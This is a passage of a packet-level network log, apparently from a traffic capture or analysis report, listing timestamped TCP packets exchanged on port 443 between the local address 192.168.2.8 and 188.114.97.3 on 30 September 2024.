| Sep 30, 2024 18:58:30.487471104 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.539933920 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.569310904 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.569382906 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.569452047 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.569521904 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.569564104 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.569590092 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.569616079 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.569636106 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.569693089 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.570234060 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.570275068 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.570347071 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.570360899 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.571113110 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.571140051 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.571170092 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.571187973 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.571196079 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.571208954 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.571230888 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.571316004 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.583748102 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.584753036 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.584781885 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.584814072 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.584850073 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.584873915 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.584903002 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.585277081 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.585297108 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.585340977 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.585371017 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.585443020 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.656698942 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.656774044 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.656805038 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.656833887 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.656850100 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.656881094 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.656897068 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.656943083 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.657042027 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.657049894 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.657124996 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.657174110 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.657186985 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.657202959 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.657229900 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.657237053 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.657258987 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.658035040 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.658094883 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.658101082 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.658145905 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.658188105 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.658240080 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.659518957 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.659584999 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.660253048 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.660319090 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.670556068 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.670629025 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.670712948 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.670766115 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.671068907 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.671180010 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.671778917 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.671808958 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.671840906 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.671863079 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.671878099 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.671933889 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.671942949 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.671951056 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.671998024 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.742741108 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.742782116 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.742813110 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.742850065 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.742863894 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.742964983 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.743413925 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.743486881 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.743674040 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.743745089 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.744378090 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.744482040 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.744622946 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.744699955 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.745420933 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.745449066 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.745476961 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.745491982 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.745532990 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.745589018 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.746083975 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.746136904 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.746157885 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.746170998 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.746187925 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.746227026 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.746843100 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.746892929 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.746901989 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.746913910 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.746943951 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.746967077 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.747725964 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.747790098 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.747849941 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.747909069 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.757108927 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757174969 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.757241011 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757287025 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757303953 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.757335901 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757354021 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.757363081 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757425070 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.757441998 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757808924 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757853985 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.757872105 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757915974 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.757925034 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757935047 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.757987976 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.758004904 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.758075953 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.758658886 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.758698940 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.758709908 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.758727074 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.758740902 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.758744001 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.758793116 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.758805990 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.758866072 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.759819984 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.759880066 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.759994030 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.760047913 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.829366922 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.829431057 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.829462051 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.829519033 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.830254078 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.830271006 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.830321074 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.830334902 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.830355883 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.830374956 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.830775976 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.830838919 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.831485033 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.831521034 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.831548929 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.831562996 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.831593990 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.832338095 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.832396984 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.832403898 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.832417965 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.832459927 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.833262920 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.833323956 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.833332062 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.833342075 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.833374023 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.834212065 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.834228039 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.834286928 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.834299088 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.844367981 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.844382048 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.844444990 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.844480991 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.844683886 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.844765902 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.844777107 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.845530033 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.845547915 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.845587969 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.845602989 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.845622063 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.917560101 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.917584896 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.917686939 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.917794943 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.918072939 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.918092966 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.918148041 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.918179035 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.918222904 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.918881893 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.918895960 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.918977022 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.919012070 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.919353962 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.919373989 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.919420958 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.919449091 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.919478893 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.919498920 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.919574022 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.920120955 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.920136929 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.920243025 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.920274019 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.920572996 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.931010962 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.931035042 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.931123972 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.931159019 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.931243896 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.932068110 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.932112932 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.932168961 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.932185888 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.932231903 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.932266951 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.932374001 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.932391882 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.932455063 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.932465076 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.932516098 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.004657984 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.004688025 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.004769087 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.004802942 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.004853010 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.005054951 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005070925 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005122900 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.005130053 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005237103 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005280018 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.005285025 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005320072 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.005660057 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005676985 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005736113 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.005743980 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.005805016 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.005965948 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.006031990 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.006320953 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.006406069 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.006412029 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.006450891 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.009646893 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.009663105 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.009721041 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.009742022 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.009788036 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.019114017 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019136906 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019217014 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.019233942 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019279957 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.019448996 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019465923 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019520998 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.019527912 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019619942 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.019700050 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019735098 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.019758940 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.019763947 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
